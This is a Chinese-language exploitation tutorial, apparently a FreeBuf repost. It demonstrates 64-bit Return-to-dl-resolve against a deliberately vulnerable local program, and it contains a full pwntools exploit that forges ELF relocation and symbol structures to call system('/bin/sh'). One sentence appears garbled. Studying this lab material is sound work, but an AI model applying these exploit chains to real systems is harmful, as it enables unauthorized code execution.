前上一篇文章中,我們研究了在32比特環境下的Return-to-dl-resolve科技,這篇就來討論一下64比特環境下的Return-to-dl-resolve科技,有些地方存在較大差异,僅供參考。
Environment
[email protected]:~/Desktop# uname -a
Linux kaliSevie 4.4.0-kali1-amd64 #1 SMP Debian 4.4.6-1kali1 (2016-03-18) x86_64 GNU/Linux
[email protected]:~/Desktop# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: kali-rolling
Codename: kali-rolling
[email protected]:~/Desktop# gcc -v
gcc version 6.3.0 20170321 (Debian 6.3.0-11)
易受攻擊的程式碼
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
/* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}
編譯程式並且打開系統的ASLR:
ASLR
[email protected]:~/Desktop# gcc -no-pie -fno-stack-protector bof.c -o bof
[email protected]:~/Desktop# cat /proc/sys/kernel/randomize_va_space
2
[email protected]:~/Desktop# checksec bof
[*] '/root/Desktop/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Difference in x64
首先在x64下,函數的參數是通過寄存器傳遞的,而不是通過棧,所以在構造ROP時,要把參數放到對應寄存器中,看看read函數參數情况:
x64
ROP
read
RDX 0x8
*RDI 0x0
RSI 0x7fffffffe4cc ◂— 0x0
0x400563 <main+29> mov edx, 8
0x400568 <main+34> mov rsi, rax
0x40056b <main+37> mov edi, 0
► 0x400570 <main+42> call [email protected]
fd: 0x0
buf: 0x7fffffffe4cc ◂— 0x0
nbytes: 0x8
看到實際上是read(rdi,rsi,rdx),三個寄存器的值對應了三個參數。
read(rdi, rsi, rdx)
write函數參數情况:
write
RDX 0xc8
*RDI 0x1
RSI 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')
0x400592 <main+76> lea rax, [rbp - 0x70]
0x400596 <main+80> mov rsi, rax
0x400599 <main+83> mov edi, 1
► 0x40059e <main+88> call [email protected] <0x400430>
fd: 0x1
buf: 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')
n: 0xc8
所以在構造ROP鏈時與x86下有些不同。
ROP
x86
return-to-dl-resolve
call [email protected]
首先還是先直接調用[email protected]試試,和上一篇基本相同,只是相對應改成64比特下的字長,代碼如下:
[email protected]
import sys
import struct
from subprocess import Popen, PIPE
def p64(x):
return struct.pack("<Q", x)
offset = 120
addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330
addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = "A" * offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)
p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)
p.stdin.write(p64(len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_write_plt)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
# print p64(len(buf1)) + buf1 + buf2
運行結果:
[email protected]:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Relocation directly
在x64下,與_dl_runtime_resolve相關的兩個結構體定義有所不同:
x64
_dl_runtime_resolve
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
typedef uint64_t Elf64_Addr;
typedef uint32_t Elf64_Word;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
以read函數為例,看看記憶體中數據是什麼。
read
通過檔案我們知道.rel.plt地址為0x4003d0,大小為48(bytes),每一項24(bytes),也就是兩項,read和write:
.rel.plt
0x4003d0
48 (bytes)
24 (bytes)
read
write
[email protected]:~/Desktop# readelf -d bof | grep REL
0x0000000000000002 (PLTRELSZ) 48 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x4003d0
0x0000000000000007 (RELA) 0x4003a0
0x0000000000000008 (RELASZ) 48 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
gdb查看read的Elf64_Rela:
gdb
read
Elf64_Rela
pwndbg> x/3gx 0x4003d0+24
0x4003e8: 0x0000000000601020 0x0000000200000007
0x4003f8: 0x0000000000000000
Elf64_Sym
24 (bytes)
[email protected]:~/Desktop# readelf -d bof | grep SYM
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000b (SYMENT) 24 (bytes)
你一定是在開玩笑。
read
Elf64_Sym
SYMTAB[r_info >> 32]=SYMTAB[2]
pwndbg> x/6wx 0x4002b8+48
0x4002e8: 0x0000000b 0x00000012 0x00000000 0x00000000
0x4002f8: 0x00000000 0x00000000
再通過STRTAB找到read字串:
STRTAB
read
[email protected]:~/Desktop# readelf -d bof | grep STR
0x0000000000000005 (STRTAB) 0x400330
0x000000000000000a (STRSZ) 67 (bytes)
pwndbg> x/s 0x400330+0xb
0x40033b: "read"
...
...
addr_reloc = base_stage + 64
reloc_offset = 0x0
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
運行:
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Make fake Elf64_Rela structure
64比特下,Elf64_Rel是通過下麵的管道找到的,所以選擇的地址也需要對齊:
Elf64_Rel
Elf64_Rel *reloc = JMPREL + reloc_offset * 0x18
先填入原來結構體內的內容,修改後的程式碼:
...
...
addr_reloc = base_stage + 120
#reloc_offset = 0x0
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_info = 0x0000000100000007
r_addend = 0
cmd = "/bin/sh"
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset)
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
結果:
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'
Make fake Elf64_Sym structure
由以下公式找到write的結構體:
write
Elf64_Sym *sym = &SYMTAB[((reloc->r_info)>>0x20)]
=>
sym = &SYMTAB[0x0000000100000007>>0x20] = &SYMTAB[1] = 0x4002b8 + 24
記憶體查看:
pwndbg> x/6wx 0x4002b8+24
0x4002d0: 0x00000022 0x00000012 0x00000000 0x00000000
0x4002e0: 0x00000000 0x00000000
pwndbg> x/s 0x400330+0x22
0x400352: "write"
...
...
addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym
st_name = 0x00000022
r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
#r_info = 0x0000000100000007
cmd = "/bin/sh"
addr_cmd = base_stage + 180
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_cmd)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset) # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * padding_dynsym
buf2 += p32(st_name) # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "A" * (180 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
發現並不能成功,我們可以把要輸入的字串放在一個檔案中然後用gdb調試程式:
gdb
[email protected]:~/Desktop# python bof.py > input
[email protected]:~/Desktop# gdb
pwndbg> file bof
Reading symbols from bof...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x40054a
pwndbg> r < input
ROP
_dl_fixup
Segmentation fault
RAX: 0x400374 --> 0x2000200020000
RCX: 0x1564100000007
RDX: 0x15641
0x7ffff7de7c31 <_dl_fixup+113>: mov rax,QWORD PTR [rax+0x8]
=> 0x7ffff7de7c35 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2]
0x7ffff7de7c39 <_dl_fixup+121>: and eax,0x7fff
...
pwndbg> x/x $rax+$rdx*2
0x42aff6: Cannot access memory at address 0x42aff6
這裡RCX就是偽造的r_info值,而RCX值過大,導致無法讀取記憶體,引發了錯誤,我們往前看程式碼:
RCX
r_info
RCX
0x00007ffff7de7c21 <+97>: mov rax,QWORD PTR [r10+0x1c8]
0x00007ffff7de7c28 <+104>: test rax,rax
0x00007ffff7de7c2b <+107>: je 0x7ffff7de7ce0 <_dl_fixup+288>
0x00007ffff7de7c31 <+113>: mov rax,QWORD PTR [rax+0x8]
=> 0x00007ffff7de7c35 <+117>: movzx eax,WORD PTR [rax+rdx*2]
對應的C程式碼:
C
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) // [r10+0x1c8] != 0
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
發現有個je可以跳過這一段程式碼,只要[r10+0x1c8]處的值為0就可以跳過,再往前看,發現只有函數開頭mov r10,rdi改變了r10的值,然後都不會改變,r10的值是個特殊的值:
je
[r10+0x1c8]
mov r10,rdi
r10
r10
pwndbg> x/2gx 0x601000
0x601000: 0x0000000000600e20 0x00007ffff7ffe170
pwndbg> p $r10
$1 = 0x7ffff7ffe170
0x601000
GOT
link_map
link_map+0x1c8
ASLR
link_map
Get shell
洩露link_map地址的方法就是在最前面先調用addr_write_plt,把link_map的地址打出來,由於我這裡用之前的方法收到shell時發現命令能够執行但是輸入字元不顯示:
link_map
addr_write_plt
link_map
shell
[email protected]:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\[email protected]\x00\x00\x00\x00\x00Q\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7f178d3d0170
# uid=0(root) gid=0(root) groups=0(root)
這裡用pwntools改寫一下,完整程式:
pwntools
import sys
import struct
from subprocess import Popen, PIPE
from pwn import *
offset = 120
addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_got = 0x0000000000601000
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330
addr_write_got = 0x0000000000601018
addr_read_got = 0x0000000000601020
addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = "A" * offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(1)
buf1 += p64(addr_pop_rsi)
buf1 += p64(addr_got + 8)
buf1 += p64(addr_pop_rdx)
buf1 += p64(8)
buf1 += p64(addr_write_plt)
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)
p = process("./bof")
p.send(p64(len(buf1)))
p.send(buf1)
print "[+] read: %r" % p.recv(len(buf1))
addr_link_map = u64(p.recv(8))
print "[+] addr_link_map = %s" % hex(addr_link_map)
addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym
addr_symstr = addr_sym + 24
r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
cmd = "/bin/sh"
addr_cmd = addr_symstr + 7
st_name = addr_symstr - addr_dynstr
buf2 = "A" * 8
buf2 += p64(addr_pop_rdi)
buf2 += p64(0)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_link_map + 0x1c8)
buf2 += p64(addr_pop_rdx)
buf2 += p64(8)
buf2 += p64(addr_read_plt)
buf2 += p64(addr_pop_rdi) # system args
buf2 += p64(addr_cmd)
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A" * (120 - len(buf2))
buf2 += p64(r_offset) # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A" * padding_dynsym
buf2 += p32(st_name) # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "system\x00"
buf2 += cmd + "\x00"
buf2 += "A" * (200 - len(buf2))
p.send(buf2)
p.send(p64(0))
p.interactive()
運行:
[email protected]:~/Desktop# python bof.py
[+] Starting local process './bof': pid 17083
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\[email protected]\x00\x00\x00\x00\x00Q\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7ff780d15170
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
總結
Return-to-dl-resolve是一種十分實用的科技,在沒有libc庫的情况下也能够取得函數地址,最終調用庫函數。
refer: x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる
*本文作者:pwdme,轉載請注明來自FreeBuf.COM